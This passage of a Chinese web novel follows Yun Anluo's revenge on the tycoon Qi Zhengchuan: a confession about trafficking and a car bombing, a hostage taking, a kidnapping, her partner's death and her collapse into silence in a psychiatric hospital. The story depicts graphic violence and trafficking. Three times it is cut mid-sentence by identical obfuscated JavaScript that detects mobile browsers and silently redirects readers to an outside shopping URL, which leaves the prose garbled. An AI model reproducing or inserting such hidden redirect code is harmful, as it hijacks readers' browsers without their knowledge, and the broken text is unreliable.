“确实脸皮都更厚了,咱俩才不到十个小时没见到面,”云安洛笑着,把床头摇起来,喂着丁似霰喝了些水,“不知道的还以为你伤的是胳膊和手。” “唉,拿不动水杯,疼。”丁似霰撅着嘴,但十分享受,他对着云安洛张开胳膊,“抱一下就不疼了。” “别唬我啊,你这止疼泵挂着呢,而且抱什么抱,你肚子上那么大个口子。” “我需要精神疗愈。”丁似霰的语气十分诚恳。 “好吧。”云安洛放下水杯,侧坐在病床上,轻轻把头搭在丁似霰肩上。 “丁似霰。” “嗯?” “等回到新柳,咱们结婚吧。” 丁似霰意识到了云安洛应该有了什么新的想法,她不该在这个时候提起结婚的事情。 “你想做什么的话,至少要告诉我,我要和你一起。” “不拦我一下吗?” “为什么要拦?” “我就知道,跟我厮混在一起的,多少都沾了点疯。” “真的,要和我说。” “好。” “嘶……” “嗯?伤口疼了?” “没,你手有点凉。” 云安洛把手放进了丁似霰的手心里,“那你给我暖暖。” “好啊,”丁似霰握住了云安洛的手。 虽然没有生命危险,但丁似霰本来身体就不太好,又失了很多血,能在短期内醒来一次已经很神奇了,他并没有清醒多久,就又陷入了昏睡。 云安洛是在天彻底黑透之前离开的,那时丁似霰睡得很沉,毫无察觉。 她站在病房外,隔着玻璃望着他,这次或许真的是永别了。 “姐,你的画还没画完。”李开颜没有忍住,跟着她出了病房。 “等我回来,会补上的。”云安洛抹掉了刚滴落的泪,转过身。 “你还会回来的,对吗?” “我尽量,”云安洛挤出了一个很勉强的笑,“照顾好他。” 杨可期这时也到了医院,大概是跑过来的,她插着腰,喘着粗气,“洛洛,你,你什么意思,就非得现在弄个玉石俱焚吗!” “可期,这其实本就是我自己的选择,不能再拖了。 你也不要多想什么,你还有家人,有事业,也会有未来,不应该因为我,卷进这个事情里,杨姨还等着你回家呢,”云安洛一把搂住了杨可期,“那年我就是想把你隔绝开,才说了那些混话,如今骗不过你啦。 你已经帮我很多了,剩下的事,让我自己去做。” 杨可期从包里拿出了一个簪子,银色的簪子,看起来十分华丽,“带着,能拔开,里面的刀开过刃,还被我上了点迷药。” “嚯,不愧是医师毒女。” “洛洛,我确实帮不了你什么了,但是,但凡还有点可能,活着回来。” “我尽量。” “又是你尽量,你要是真尽量你就不该拿命去赌!” “好了,那个视频发布的事情还得你们来做,一定,把事情闹大。” “真不告诉丁似霰?” “他现在连床都下不来,告诉他干什么,”云安洛深吸一口气,“那些事情,总要有一个结果。我知道我这个举动很疯狂,但是我别无他法。你看啊,无论是电视剧里还是小说里,报仇,要么有权要么有势,又或是能借助另一方强大的势力,但是我都没有,事到如今,我只能去赌。” “可是他很快就会知道,如果你真死了,他接受得了吗?” “我一直认为,没有谁离开谁,就会活不下去,我也没那么重要,”云安洛惆怅地耸耸肩:“这些年,大家各过各的日子,一面都没见过,不是也都好好活着呢吗?” “你把所有人都放在安全的范围内,只有你自己去赌,你就,你就不能给自己找条退路?” “这就是我的后路了,”云安洛用簪子把头发挽了起来,“因为这本就是我自己的事情,可期,每个人都有自己要做的事情,或许我这个倒霉蛋的结局就该如此,我认了。” 云安洛此时此刻,很是平静。 像一片死水湖,没有一丝涟漪。 “我保证,你的视频和录音,明天会遍布整个网络。” “好,这就足够了,”云安洛拍了拍杨可期的肩膀,“无论结果怎么样,这是我的选择,我不后悔。但是你一定,不可以卷进来。” 云安洛最后留给杨可期的,是一个很好看的笑容,就像,她们第一次见到的那样,甜美,可爱,只是多了份悲凉。 她这二十几载的人生,已经经历过了很多次的悲欢离合,见识了数不清的人世险恶,也感受过了真挚热烈的情感。 如果这一次就是终点,也……不会后悔。 相信,善恶到头终有报吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908978|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 云安洛大概是不信的。 有些人有权有势恶事做尽,仍逍遥于世。 有些人一生坦荡无愧天地,却惨死无终。 她不是什么想为所有人伸张正义的侠客,只是想求一份公平。 听说只有弱者才会祈求公平,那就不做没有意义的祈祷,而是自己去争,哪怕玉石俱焚。 但愿,阳光能照到更多的角落,但愿,这世间更多的苦乐悲喜都有自己的归宿。 …… 当晚,祁利集团大厦。 大厦门口的旋转门无声转动,值班室并无灯光,只有安全通道这类指示牌隐隐泛着些亮。 一个穿着黑色西装的男人,静静站在门后等待着云安洛。 祁正川似乎早已笃定她会来,如同猎人确信猎物终将踏入陷阱。 那人沉默地在前面引路,皮鞋敲击大理石地面的声音在空旷的大厅中甚至有些回声。 云安洛跟着男人身后,手里随意拎着一个小纸袋。 董事长办公室的门被推开,祁正川就坐在正对门口的沙发上,双腿交叠,像是等候多时。他的目光在她身上停留了几秒,似是打量了她一番,而后如同在招呼一个普通的访客般开口: “进来吧。” 云安洛走到他对面,坦然落座,将纸袋放在茶几上。她直接切入主题,声音清晰而平静:“我不想和你斗了。” 祁正川挑眉,露出一丝疑惑:“云小姐和我斗什么?” “嗯,也对,不算斗,只是我单方面在企图扳倒你,”云安洛微微歪头,指尖无意识地轻抚过自己的嘴唇,她话锋一转,眼底掠过一丝锐光,“但你最近狗急跳墙的样子我很喜欢,这让我确定,你开始怕我了。” 祁正川淡淡笑着,带着点居高临下的欣赏:“你真的很特别。 我也是最近才知道,你竟然是当年谭棠大学那个在火海里逃出去的小姑娘。 那场火,也是你放的吧?” “不是我,”云安洛的语气很平淡,倒像在陈述一个客观事实,“明明是你们纵欲太深,撞翻了烛台。” “无所谓,过去那些都不重要,”祁正川摆了摆手,“但你都来到这里了,就没必要再说这些我们彼此都心知肚明的事情。” “嗯,确实。”云安洛随口应着,而后打开了手边的纸袋。 那里面装的是糖雪球。 她取出一根细竹签,扎起一颗裹着白霜的小红果子送入口中。 云安洛微微皱了皱眉,似乎对味道不太满意,却也没有说什么,而是像闲聊般问道:“说说你,因为什么破防呗?” 求饶、愤怒,或是恐惧,都在祁正川的预料之中,唯独这种近乎闲聊的松弛态度,让他感到一丝意外和不适。 “你们太较真了,很多事情,得过且过就可以。” “怎么过?抱着亲人的骨灰盒过吗?” 祁正川眉头紧锁,这个不按常理出牌的女人,他有些看不懂。 云安洛继续说道:“这样吧,你说说,要怎么样才肯放过除了我以外的人,提个条件。” 祁正川沉吟片刻,反问道:“昨天在酒店,你听到什么了?” 云安洛没有直接回答,反而又扎起一颗山楂,咬下一半,细细咀嚼后,很是嫌弃地摇摇头:“不好吃,你们这边的糖雪球太难吃了。要是新柳的也这么难吃,当初我就不至于特意下车去买。” 她像是陷入了短暂的回忆,微微停顿了一下,轻声补充:“说起来,还得怪新柳的糖雪球做得太好吃。” 祁正川被她这跳跃的思维弄得一怔:“你想说什么? 云安洛放下竹签,轻轻叹了口气:“你先跟我对对账吧,有些事,我想问清楚。 反正我已经送上门了,让我死明白点你也不亏对吧?” 87. 触月 祁正川点点头,同意了云安洛的提议。 云安洛抬眸,目光直直射向他,不再有丝毫掩饰:“一零年春节,哦不对,是零九年大年三十,新柳县那起车辆爆炸,怎么发生的?” “哦,”祁正川恍然,语气甚至带点感慨,“那个是你母亲是吧?我弟弟回来后还和我讲过,从没见过这么负责任的老师,看见学生被欺负,也不管有没有能力阻止,直接就把学生护在身后。” “所以因为她管了不该管的事,你们就把她扔回车里一起炸了?” “你很聪明,但是你是怎么知道的?” “车里有我的相机,我在录像,没有摁暂停,那段录像虽然没有脸但是有声音,我听到了你弟弟说话。” “就凭一段声音你就能确定是谁?” 云安洛点点头。 “不愧是配音圈的红人。” 云安洛对祁正川表示了一点佩服:“这都查到了,确实有点厉害嘛。” “还想知道什么?” “实习生的事,你们和谭棠大学连线,坑了多少女学生?” “说起来,你是这么多年以来唯一一个谭棠大学商学院送来,跑掉了的,你还断了我们这条路,让姓张的进去了。可惜,我当时就该意识到你的特殊。” “每年都有吗?” “从你那年开始,没有了。” “被你们糟践了之后呢?都送去别墅?” 祁正川点点头。 “然后呢,那些女孩最后都去了哪?” “云小姐,想知道的是不是有些多了。” “说说呗,让我听听,我妈没救下来那个学生,最后怎么样了。” “山里,国外,还有很多地方都能卖,也可以当做礼物,至于你说的那个,我不记得了,她太普通,”祁正川又用戏谑的目光打量了云安洛一番:“说起来,当年我还见过云小姐的照片,着实美丽,本来是打算把你推荐给大人物的。” “行,谢谢你肯定我的皮囊,”云安洛又转了话题,“零九年五月,你们公司的一辆运货车超载,并且弯道压路反向逆行,和另一辆空载的货车相撞,你们做了手脚,才让事故的责任认定全归在无过错方,是不是。” “不清楚,就是起车祸,怎么可能那些小事我都一一过问。” “也对,没有监控,十几年前的痕迹检查那不是随便造假,用不到惊动你,”云安洛表示理解,却突然坐得离他近了些,“但这是我最后一个问题,我希望你帮我解答,弄清楚了,我和你坦诚相待,你也免得再去猜我还有什么后手。” 祁正川显然没料到她会说出这样的话,愣了片刻,才低笑一声:“呵,你还真是……很特别。” 他拿出手机,似乎发了条信息,很快,收到了回复。 他抬眼看向云安洛:“是有这么一件事,底下人自己处理的。还得多亏你,让我知道了一件无聊的事。” 云安洛也没有继续多说什么,遵守约定,直接打开手机播放昨天的录音。 她把手机扔在桌子上,任由扬声器在那里吐着一些并不清晰但足够辨别出话语的音频。 “以后干坏事换个地方说话,严谨一点,你这样搞得我都不理解你怎么做到董事长的了。” 祁正川又被云安洛阴阳一通后,面色更差了些。 云安洛关掉录音,把手机递给祁正川,“我今天把命放在你手里,任凭你处置,放过我身边所有人,怎么样?” “就这样?”祁正川接过手机,有些难以置信。 “就这样,为了几个死了的人,把活着的都再搭进去,不值当。” “我还以为你会是坚持的最久的人。” 云安洛抬起头,与祁正川对视着:“那么现在,怎么处理我呢?尝尝咸淡之后卖掉又或是杀掉?” “你……”祁正川刚张开嘴,颈动脉旁就被一把小刀用尖端直顶着。 电光火石间,云安洛抽出来了头上的簪子,摁开机关拿出那把开了刃的小刀,以绑架人质的标准姿势禁锢住了祁正川。 “你说,是看着自己的动脉血喷涌而出却无能为力比较刺激,还是扭断脖筋慢慢窒息更有趣?” 云安洛的声音好似某种远古的诅咒绕在祁利耳边,他一时分不清是这声音让他有些战栗,还是脖子上的刀剑刺破皮肤的感觉让人恐惧。 “你不会以为胁迫着我,你就能出去吧?” “当然没有,我只是想拖着你一起下地狱,”云安洛攥紧了簪子,眼神狠厉坚定,“你说,你的保护伞有没有一键收回?昨天聊妥了吗?一会你进了警局,还会不会有人保你? 我是真想弄死你啊,但又感觉直接死掉太便宜你了,你这种人就应该阉了之后继续千刀万剐然后扔进野地里溃烂至死。 哦,南菀现在应该还是枪决,我是不是应该祈祷一下到时候子弹打偏一点,让你死得慢一些?” 云安洛眼看着办公室里的人越来越多,她明白,她大概是跑不掉了。 孟杰礼你再不上来救人,你恩师唯一的闺女就要翘辫子了! 超乎云安洛预料的事发生了,祁正川的宝贝儿子并不在乎他老爹的死活,一声令下数不清的彪形大汉涌过来要抓住云安洛。 云安洛确实这些年也偶尔去拳馆练练散打,但打个街边混混手到擒来,这么多保镖怎么可能打赢? 最终,在拼力撂倒五个人之后,她的手臂被人粗暴地拧到身后,整个人被提了起来。眼前一黑,一个麻袋罩了下来,紧接着后颈传来一阵剧痛,她便彻底失去了意识。 …… 丁似霰是在键盘的敲击声中醒来的。他缓缓睁开眼睛,病房里一片漆黑——除了两台电脑在发光。 “你大爷的,不就是当水军吗,压啊,看你压的快还是我发的快。”杨可期几乎是咬着牙在自言自语,声音很低。 这句话丁似霰没有听清,他只是似乎能听到有人在说话。 有的时候,直觉是一件很神奇的事情。丁似霰不知为何,从醒来就感觉有事情要发生。 “你们……干什么呢?”丁似霰捂着伤口,撑着床边坐了起来。 “没什么没什么,老大你继续睡觉吧!”李开颜停下了手上的动作,抬起头,“你别乱动啊,伤口裂开了咋办?” “是不是洛洛已经和他们鱼死网破了?”丁似霰踉跄着下床,以他最快的速度走到杨可期和李开颜面前,看到了他们电脑上的内容。 一瞬间,丁似霰感觉脑子嗡嗡作响。 这一天还是来了。 可怎么来得这么快? 他迅速让自己稍微冷静一些,声音哪怕有在极力克制还是带着些颤抖:“现在洛洛在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908979|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪?” 杨可期忙站起来想要扶着他坐下,却被拒绝了。 丁似霰眼眶泛红,身体微微颤抖着,不知是因为伤口的剧痛,还是那几乎要将他淹没的恐惧。 “在哪?”他重复道,声音里甚至带着一丝哀求。 “丁似霰你听我说,你现在能做的就只有在这里好好养着伤,洛洛没有告诉你就是不想你也搭进去!”杨可期的话中也带着哭腔,云安洛在哪,她也想知道。 “告诉我,好不好?”丁似霰的声音低了下去,带着破碎的哽咽:“我得去找她……说好了,我陪她一起的……” 一时间,病房里一片死寂,只剩下电脑处理器和散热风扇还在不知疲倦地嗡嗡作响。 杨可期看着丁似霰,僵持了几秒,深吸一口气,好像下定了某种决心。 杨可期合上电脑,拿起包;“走。” 李开颜开着车,丁似霰和杨可期坐在后排。 杨可期发给了丁似霰一张地图,是郊区的一个很大的村子。 云安洛用自己做诱饵,套出了祁正川的话,她新打的耳眼,耳钉上装了窃听器和定位器,但她的耳钉被发现了,定位停在这个村子的边缘,耳钉被扔在车里,车在进村子的路口,并且没有再出来过。 这个村子很大,甚至还有很多地窖,地下的路又很复杂,更要命的是这个村子去年遭了灾,没剩下几个人在住,基本连个问路的都找不到。不知道警察局那边卡在哪了,现在压着不给出警,只有孟杰礼带着他几个兄弟在找。 丁似霰盯着地图,声音很轻:“她还活着,对吧……” 杨可期也神色凝重地研究着地图:“或许吧,不然搬个尸体来这么远的地方除非脑子有屁,但是我也不知道孟杰礼那边进程怎么样了,肯定还没找到,找到了会告诉我的。” “好。”丁似霰没有再说话,只是很认真仔细地看着地图。他记地图认路都很快,现在只想把这个村子的地图记在脑子里,然后,找到云安洛。 杨可期看着窗外,脑子也很混乱。 云安洛说的对,杨可期和她不一样,杨可期还有家人,她在面对生死的选择时根本做不到义无反顾,所以她没有第一时间赶过来一起找人。 可能是看到了丁似霰的坚定,可能是她心里有一个声音一直在说她该过来的。 她还是来了。 此刻,网络上正掀起滔天巨浪。 许志按照计划,大肆传播着云安洛提前录好的视频和祁正川认罪的录音,以及他们搜集到的所有证据。 网络和舆论,倒是真的给了云安洛成功的阶梯。最开始热度还被压着,慢慢的才发酵到如今的地步,现在事情闹得很大,而且这还已经是晚上了,等到明天人们都醒过来,舆论的波涛会更汹涌。 祁正川和相关的人必定会定罪,只是他们负隅顽抗的时间或许还有几个小时。 如今悬而未定的只有云安洛是否活着。 丁似霰很快将地图反复看了数遍,牢牢记住每一个细节。但这张图只有地上的部分,村子里的那些地道,只能到了现场再去探。 洛洛,等我。 我们约定好的,你做什么都要告诉我。 这本来就是我们的劫,不该你一个人担。 我会和你一起。 哪怕黄泉碧落,无间地狱。 88. 噩梦 云安洛意识微微苏醒时,只感觉到眼前的光似乎有些刺眼。 她眯着眼,想要看清自己在哪里。 一个看起来逼仄又破败的空间,像是农村废弃的地窖。 而站在她眼前的,正是祁正川和他的儿子祁炎。 她的双手被反剪在椅背后,粗糙的麻绳紧紧勒着她腕间皮肤,完全没有一丝活动的可能。 但,云安洛的唇角竟难以自抑地牵起一丝微不可察的弧度。 “臭婊子!你笑什么!”祁炎一见她那神情,瞬间暴怒,额角青筋跳动,“要不是留你还有用,我他妈真想现在就弄死你!” 这一次,云安洛是真的笑出了声。 那笑声在地窖里回荡,听起来有点凄厉得近似疯癫,却还带着嘲讽。 “动手啊,”她扬起下颌,眼底没有半分惧意:“我倒是想看看,你们父子俩还能往哪儿逃。 去哪?出国?现在你们出得去南菀吗?” 她虽不清楚外头具体情况,但至少笃定一点——眼前这两个男人一定正在被追捕。 祁炎被她云安洛激得双目赤红,猛地抄起一根木棍,狠狠朝她肩膀砸下。 咔嚓—— 木棍应声断裂,但大半力道都被椅背承受,云安洛只觉得肩膀猛地一沉,一股钝痛蔓延开来。 倒没有想象中那么难以忍受。 “啧,祁正川,”云安洛偏过头,并没有理会肩头的闷痛,视线落在一旁脸色阴沉的祁正川身上,声音刻意放缓,甚至带着点挑衅的玩味:“你儿子这脾气……是不是有点什么毛病?刚才他扑过来的时候,可没管你死活。我那时手要是稍微一哆嗦,你这脖子可就滋滋冒血了。 哦,你见过动脉血喷出来什么样吗? 在你的血管壁破开一个小口,然后红色的液体喷涌而出,就像……你们集团楼下那个喷泉一样。” 云安洛不是不知道这样更容易激怒这两条疯狗,但她能感觉到她两只耳垂都在疼,估计耳钉已经被他们俩扯下去了,如果不造出任何声响,更难让人发现。 她不知道现在是什么时间也不知道她在哪里,只能祈祷有奇迹发生。 况且这两个人还带着她,就证明至少现在他们不想,或者说是不能杀她。 祁正川眼神复杂地瞥了祁炎一眼,那里面有失望,有寒意,但更多的是一种穷途末路下的焦躁和疲惫。 “爸!你别听她胡说八道!”祁炎急忙辩解,声音因为激动而骤然拔高:“我当时是看出这疯女人不敢真下手!才想直接压住她救你的,爸!我是想救你!” “你小声些!生怕警察找不来是吗!”祁正川低声呵斥,并未深究,眼下显然不是内讧的时候。 这压抑的怒火反而让祁炎更加恐惧,毕竟如果有翻身的机会,他还得靠着自己这个爹。 云安洛本是在欣赏这对父子的决裂大戏,目光却在不经意间扫过墙角那片阴影。 下一秒,她的心脏几乎骤停——这个时候,穿着病号服跑过来的人除了丁似霰还能有谁! 眼看祁炎似乎察觉到异样,身体微侧,视线即将转向那个角落,云安洛立刻再度开口,声音拔高,语气中甚至带着奚落:“哟,这就开始狗咬狗了?有点意思。” 祁炎的注意力果然被拉回,他眼中凶光毕露,彻底被点燃。他这次动作倒是迅速,抽出了一把折叠刀,没有半分迟疑,狠狠朝云安洛的肩膀扎了下去。 尖锐的疼痛瞬间袭来,云安洛却硬是一声没吭,甚至面上还挂着有些挑衅的笑容。 她在赌,赌祁炎的身体挡住了丁似霰的视线。 既然丁似霰能找到这里,孟杰礼他们应该就在附近。但如果丁似霰此刻忍不住冲出来,按照他现在的身体状态,和这两个人缠斗,根本没有胜算。 “死女人这么能忍?”祁炎扭曲地笑着,猛地拔出刀,带出一串血珠。他捏着染血的刀刃,目光在云安洛身上扫视,似是在考虑着下一刀要落在哪里。 但云安洛的视线完全在这把滴着血的刀上。 毁了,全毁了,这变态捅就捅了,还拎着刀欣赏干什么? 这角度丁似霰绝对看到了! 万幸,角落那边依旧没有动静。 云安洛刚想松一口气,祁炎却突然伸手,粗暴地抓住她肩头被血浸湿的毛衣领口,猛地向下一撕! 刺啦—— 毛线被划开撕裂的声音格外刺耳,那些断掉的线头瞬间没了约束,纷纷滑落,凉意瞬间侵袭她暴露在空气中的皮肤。 彻底完犊子了! “滚远点!”云安洛瞳孔骤缩,几乎是凭着本能尖声喊道,声音里带着前所未有的惊惶。 不是在和祁炎说话。 她是喊给丁似霰听。 可那个穿着病号服的身影,在祁炎动手的瞬间就冲了出来。 云安洛被绑在椅子上,只能眼睁睁看着三个身影猛烈地撞击、扭打在一起,她却无能为力。 丁似霰才刚刚从手术台下来,云安洛甚至看到了他手上的留置针都没拆,她根本想象不出来丁似霰怎么做到一个人拖住两个的。 可她能看到,血…… 分不清到底是谁的血。 但丁似霰的病号服上,很多血…… 哐当—— 那把沾血的折叠刀在混乱中被扔到了云安洛脚边。 云安洛立刻用尽全身力气,带着椅子猛地侧摔在地,手指艰难地勾住刀柄,反手就去割腕上的绳索。 耳边不断传来拳肉碰撞的声音,云安洛手上的动作也越发焦急,她已经把自己胳膊磨开了不知道多少道血口。 终于,云安洛割开了绳子挣脱束缚,猛地起身冲了过去。 她从身后一脚狠狠踹在祁炎腿间要害,趁他吃痛弯腰,抓住他的胳膊就是一个利落的过肩摔,将他重重砸向墙壁,紧接着,毫不停顿,一记凶猛的肘击狠狠撞在祁正川后腰,胖老头惨叫一声,噗通跪倒在地。 云安洛终于看清了,丁似霰。 丁似霰躺在地上,整个人几乎只剩下生理性的肌肉痉挛颤栗,他浑身都是血,口中不断呛出鲜红的血沫,病号服早已被染得看不出原色。 云安洛僵在原地,甚至不敢碰他,生怕哪根断了的骨头再错位戳到什么要害。 她脚下一软,跌跪在他身边,颤抖着,小心翼翼地握住他冰冷的手。 看到孟杰礼带人冲过来那一瞬,丁似霰仿佛耗尽了最后一丝力气,头一歪,彻底晕死过去。 不到二十四小时,云安洛又一次站在了抢救室外。 只是这一次,她完全不知道,丁似霰还能不能全须全尾地被推出来。 云安洛脑海中反复闪现的,是丁似霰身上止不住的血。 很多血,丁似霰流了很多血,多到那枚菩提戒指已经被染成了红色。 云安洛坐在抢救室外冰冷的椅子上,身上披着杨可期的外套,眼神却只有空洞。 她任由杨可期红着眼睛,小心翼翼地为她处理身上的伤口 棉签触碰伤口带来细密的刺痛感。 疼吗? 是疼的。 可这仅仅是一刀,两只耳朵都算上,也没多大口子。 丁似霰呢…… 他流了那么多血,身上该有多少伤? 他是不是,很疼…… …… 云安洛不知道发生了什么,她再次睁开眼便坐在审讯室里。 她目光涣散呆滞,不知道在看向哪里,似乎是房间的角落,又好像不是,没有聚焦的眼神,很难看出来她的目光照射在何处。 她的两个耳垂已经不再流血了,凝固的血变得有些发黑,附着在耳垂上。 灯光透过发丝印在地下的影子杂乱无章。 就这样过去了不知道多久,她在脑子里好像匆匆把自己这一生的时光走马灯一般过了一遍又一遍。 好累。 进来了一个人,穿着警服。 云安洛没有看他,仍旧呆呆的望着角落。 那个人说,祁炎死了。 云安洛缓缓抬起头,看着他,眼神依然很涣散。 她看了几秒,忽地露出了笑容,幽幽开口,“好脆弱的男人,踹一脚就死了。” “所以你是对于杀害祁炎的行为供认不讳了是吧?”那人问到。 “不然呢?直接束手就擒让他杀了我?这怎么能叫杀害,这是自卫,”云安洛说话的时候,语气并没有任何波动,好像只是在说着一些无关紧要的琐事,“怎么了,还想挣扎吗?给我扣个故意伤人的罪过?” 那人没有回答她,只是凑近了些,幽幽开口:“你以为你赢了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908980|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?祁炎死了,祁正川瘫痪,但那个奋不顾身救你的小情郎也没抢救过来,现在人已经凉透了……” 后面的话,云安洛都没有听到,她只听见丁似霰死了。 她先是干笑了几声,而后笑声逐渐连贯,在略有回音的审讯室里显得凄凉又诡异。 她边笑边说着:“死了,都死了,死的好啊,凭什么祁炎是全尸啊,就应该一刀一刀凌迟处死,永不得超生。” 笑着笑着,泪便从她的眼中流了出来,话语中夹杂的到底是笑声还是哽咽,根本分辨不出。 她反复说着“死了,都死掉了”,声音越来越小,直到靠坐在椅子上,没有了笑声,也没有抽噎,只有泪还一直顺着眼角留下。 “为什么啊,为什么我还活着…… 为什么只有我还活着…… 丁似霰,你不是说要一直陪着我吗? 大骗子……” 云安洛的意识逐渐淡去,这个世界,好像终于安静了。 她说过,没有谁离开谁,会活不下去。 但,她似乎脑中崩了许多年的那根弦真的彻底断掉了。 这世上,是真的再没什么她所牵挂的了…… 云安洛留下的那个录像,是浓珑第一次露脸,却也是留给粉丝们最后一个念想。 “哈喽,大家好,我是浓珑。很抱歉,以这种方式,和大家见面。 我的真实姓名,叫云安洛。当然发这个视频不是想在网络升公堂啊,只是我需要一定的渠道让更多人知道这件事。 我起初只想为我自己和我的家人争一个公道,可后来发现,很多人,很多女孩子都,都在被伤害。 说句大话,我真的,很想,让她们能有机会回家。 我已经没有妈妈了。 但或许,家里还有妈妈在等她们。 有关祁利集团相关事件可公开的证据,会在这个视频后面放出,但愿,捂嘴的速度不要快过传播的速度。 好了,我想说的就只有这些,如果以后还有机会参与配音工作,很期待和朋友们再次见面。 但无论结果如何,请大家依旧过好自己的生活,保护好自己的安全,不用为我过多伤神。 山高路远,后会有期。” 后来,祁正川一系列的罪行被公之于众,相关的人悉数落网定罪,其中当然也包括那个在审讯室询问云安洛的人。 一切曾经被影响过的人和事都回归到了正轨。 但,逝者长眠,再无归期;生者永痛,不知何终。 迟来的正义到底,到底算不算正义。 云安洛,被判定为防御过当。 只是,精神病只会被关进精神病院,而不是监狱。 自那天后,云安洛再也没有说过一个字。 她很听话,打针吃药从不反抗。 她也没有寻死,饿了吃饭渴了喝水困了便睡觉,甚至还知道每天给自己梳个头发。 她总是会对着夕阳或是晚霞出神,有时还会画在纸上,只是从未有一幅完整的画,那些画的中心永远是空白的。 她甚至会在其它病人的妈妈来探望时,躲在某个角落看着,甜甜的笑着,仅仅是笑着。 她只是不说话了,除了她自己想做的事情,其余身边的所有人和事她都没有再做出反应。 她经常遥遥望着天空,却终是再也见不到那月中光。 丁似霰,对不起,可能我就不该再招惹上你,我走的是条不归路啊…… 如今不归的竟是你。 没想到,最后真的应了那句诗。 江月年年望相似,乘月却不知几人归。 刚刚来工作的医护人员看到她,有些会祈祷希望所有病人都这样没有攻击性,又让人放心——因为她也没有倾向自杀;也有一些会为她惋惜,这么好的一个女孩,竟然疯了。 很多年后的一天晚上。 杨可期像往常一样,坐在云安洛身后,看着她,画了一整晚的画,从夕阳西下直到月升日落。 云安洛不知道是想起了什么,放下笔,转过身去。 她伸手,拂去杨可期脸上的泪痕。 “别哭,”她指了指天上的月亮,“月亮,好看。” 少年人终于触到了追寻近十年的月亮,月光散落在大地上,却再难照亮少年脸庞。 89. 人鬼情未了 丁似霰并不清楚他是怎样来到的这个地方,也不大清楚这是哪里,他像某种无意识体,在一个隔绝一切的空间等了许久。 终于,眼前开始有景象出现。 是一片墓地,但丁似霰看不清碑上刻的是什么。 远处缓缓走来了一个女人,她带着一束花,放在丁似霰身旁的墓碑前。 是云安洛,是一束无尽夏。 原来这是丁似霰的碑,原来他已经死了。 云安洛在墓碑前坐了许久,她很细心地擦着碑上并不多的尘土,一直说着话,声音还带着些哽咽。 她说,一切终于结束了。 她说,丁似霰是大骗子,说好了要一直陪着她,为什么不醒过来。 她说,如果真的很累,那就多睡一会吧,但别太久。 她说:“丁似霰,你已经三天没见到我了,难道不想我吗?” 很奇怪,丁似霰明明看到云安洛摸着墓碑,他却感觉自己的脸被什么东西抚过。 人死了,还会有触觉吗…… 他跟着云安洛去了许多地方,森林、海洋、雪山,还有许多古城,云安洛很喜欢那些古迹,她曾经说想让丁似霰陪她去全国各个景点,穿着各式各样的服装照相。 她说她想体验一下女帝,找个古城让丁似霰给她拍照,要那种登基的感觉。 云安洛甚至去爬了山,但她还是很懒,上下山都坐的缆车,似乎只是为了去山顶到此一游。 后来,云安洛又回到了新柳,和从前那样去设计所上班,偶尔去录音棚录音,周而复始。 日子虽平淡,倒也过得安稳。 丁似霰就这样以一只阿飘的形态,在她身旁过了不知多久。 他以为她走出来了,他以为她快忘记他了。 毕竟,洛洛无论在哪里,无论做什么,无论有没有丁似霰,她都是那个全天下最好的姑娘。 时间已经过去一年了吗?丁似霰似乎又看到了街上的落雪。 那夜,云安洛没有回家,而是踩着雪,独自一人走在马路上。 她又在企图跳起来摸树上的彩灯,指尖轻轻地划过灯泡,震落了一树的积雪。 零散的雪花缓缓飘落,就像是,又一场大雪来临。 云安洛随地坐在路边,伸出手,静静看着雪花落在手心,然后迅速融化。 丁似霰很想拉她起来,和她说这样坐在雪地里太凉了,可他发不出声音,只能和她一起坐在路边,看着她。 丁似霰看着云安洛伸出的手,忽然很想握住她,哪怕他知道握不住……不对,这感觉,他好像真的握住了云安洛的手。 她似乎是在自言自语,又好像是在对着丁似霰说话。 可是人,是不应该看见阿飘的。 阿飘,也不应该能握住人的手。 丁似霰听到她又在问。 “你怎么还不醒呀?” “丁似霰,看看我好不好?” “要不我明天把叶易抓过来让你再吃个醋?” “不行不行,我们家小光那么爱吃醋,再一激动气到了咋办。” “你喜欢我叫你小光,还喜欢我亲你是吧,那我叫你一声小光再亲你一口,你快点醒过来看看我好不好?” 丁似霰还在思考是不是因为他飘在云安洛身边太久了,才让她总是产生幻觉,如果这样的话…… 忽然,丁似霰感觉到唇瓣似乎有一些很柔软的触碰,虽然很轻,但很真实。 不是,怎么真能感觉到云安洛在亲他! 还咬了一口??? 不是说鬼魂是没有感知能力的吗?之前看的文学作品里鬼魂甚至都能直接穿墙,怎么到他这里不一样了? 丁似霰下定了决心离开云安洛,她应该在现实世界中过好自己的日子,不能再被影响了。 或许是走得远了些,嘴唇上的触感不见了。 